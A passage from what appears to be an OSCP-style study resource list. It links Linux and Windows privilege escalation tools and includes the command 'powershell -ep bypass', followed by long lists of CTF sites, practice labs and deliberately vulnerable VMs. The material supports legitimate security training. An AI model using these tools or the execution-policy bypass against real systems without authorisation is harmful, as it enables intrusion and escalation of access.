- Linprivchecker (<https://github.com/sleventyeleven/linuxprivchecker>)
- pspy (<https://github.com/DominicBreuker/pspy>) (crontabs)

## Windows Privilege Escalation Tools

### Powershell:

- powershell -ep bypass
- load powershell (only in meterpreter)
- Sherlock (<https://github.com/rasta-mouse/Sherlock>)
- <https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc> (PowerUp)

EXE : (<https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#exe>)

- WinPeas [ <https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS> ]
- Accesschk.exe  
[[https://github.com/jivoi/pentest/blob/master/post\\_win/accesschk\\_exe](https://github.com/jivoi/pentest/blob/master/post_win/accesschk_exe)]
- PowerUp (<https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc>)
- Seatbelt (<https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt>)

**Others:** Windows Exploit Suggester (<https://github.com/AonCyberLabs/Windows-Exploit-Suggester>)

### Note Taking

- Cherry Tree <https://github.com/giuspen/cherrytree>

# Practice

## OSCP Like VMs:

- JSONSec OSCP prep list:  
<https://docs.google.com/spreadsheets/d/1wW2EOeUo5EkgePheuBfqeUh6Zuh4sPnYVwb7KusoSqc/edit#gid=0>
- Netsec OSCP like VMs :  
<https://docs.google.com/spreadsheets/d/1dwSMIAPlam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0>

## Practice Arena:

- Root-me web challenge
- HackTheBox <https://www.hackthebox.eu>
- Vulnhub <https://www.vulnhub.com>
- Practical Pentest Labs <https://practicalpentestlabs.com>
- Labs Wizard Security <https://labs.wizard-security.net>
- Pentestlab <https://pentesterlab.com/>
- Hackthis <https://www.hackthis.co.uk>
- Shellter <https://shellterlabs.com/pt/>
- Root-Me <https://www.root-me.org/>
- Zenk-Security <https://www.zenk-security.com/epreuvess.php>
- W3Challs <https://w3challs.com/>
- NewbieContest <https://www.newbiecontest.org/>
- The Cryptopals Crypto Challenges <https://cryptopals.com/>
- Penetration Testing Practice Labs  
<http://www.amanhardikar.com/mindmaps/Practice.html>
- alert(1) to win <https://alf.nu/alert1>
- Hacksplaining <https://www.hacksplaining.com/exercises>
- Hacker101 <https://ctf.hacker101.com>
- Academy Hackaflag <https://academy.hackaflag.com.br/>
- PentestIT LAB <https://lab.pentestit.ru>
- Hacker Security <https://capturetheflag.com.br/>
- PicoCTF <https://picoctf.com>
- Exploitation Education <https://exploit.education/>
- Root in Jail <http://ctf.rootinjail.com>

- CMD Challenge <https://cmdchallenge.com>
- Try Hack Me <https://tryhackme.com/>
- Hacking-Lab <https://www.hacking-lab.com/index.html>
- PWNABLE <https://pwnable.kr/play.php>
- Google CTF <https://capturetheflag.withgoogle.com/>
- ImmersiveLabs <https://immersivelabs.com/>
- Attack-Defense <https://attackdefense.com/>
- OverTheWire <http://overthewire.org>
- SANS Challenger <https://www.holidayhackchallenge.com/>
- SmashTheStack <http://smashthestack.org/wargames.html>
- <https://microcorruption.com/login> (Very good interactive interface, introduces low-level reverse engineering in an MSP430)
- <https://learn.abctf.xyz> (New platform for learning CTF, with challenges created by the users themselves)
- <http://reversing.kr/>
- <http://hax.tor.hu/>
- <https://pwn0.com/>
- <https://io.netgarage.org/>
- <http://ringzer0team.com/>
- <http://www.hellboundhackers.org/>
- [http://counterhack.net/Counter\\_Hack/Challenges.html](http://counterhack.net/Counter_Hack/Challenges.html)
- <http://www.hackthissite.org/>

## **Others**

<https://backdoor.sdlabs.co/>

<http://smashthestack.org/wargames.html>

<http://hackthecause.info/>

<http://bright-shadows.net/>

<http://www.mod-x.co.uk/main.php>

<http://scanme.nmap.org/>

<http://www.hackertest.net/>

<http://net-force.nl/>

<http://securityoverride.org/> It teaches good concepts, but some things are not realistic (like stored strings identical to the input)

<http://www.wechall.net/sites.php> (great list of challenges)

<http://ctf.forgottensec.com/wiki/> (Good Wiki about CTFs)

<http://repo.shell-storm.org/CTF/> (Great archive of CTFs)

### **Specific CTFs related to web applications**

<http://demo.testfire.net/>

<http://wocares.com/xsstester.php>

<http://crackme.cenzic.com/>

<http://test.acunetix.com/>

<http://zero.webappsecurity.com/>

### **Forensic Specific Challenges**

<http://computer-forensics.sans.org/community/challenges>

<http://computer-forensics.sans.org/community/challenges>

<http://forensicscontest.com/>

### **Recruiting**

<https://www.praetorian.com/challenges/pwnable/>

<http://rtncyberjobs.com/>

<http://0x41414141.com/>

### **Paid Training**

<http://heorot.net/>

### **Offline challenges for download**

<http://www.badstore.net/>

[http://www.owasp.org/index.php/Category:OWASP\\_WebGoat\\_Project](http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project)

[http://www.owasp.org/index.php/Owasp\\_SiteGenerator](http://www.owasp.org/index.php/Owasp_SiteGenerator)

Damn Vulnerable Web App

Stanford SecureBench Micro

<http://www.irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-owasp-top-10>

### **Vulnerable Virtual Machines**

<https://pentesterlab.com/exercises/>

<http://sourceforge.net/projects/metasploitable/files/Metasploitable2/>

Damn Vulnerable Linux (Mirror)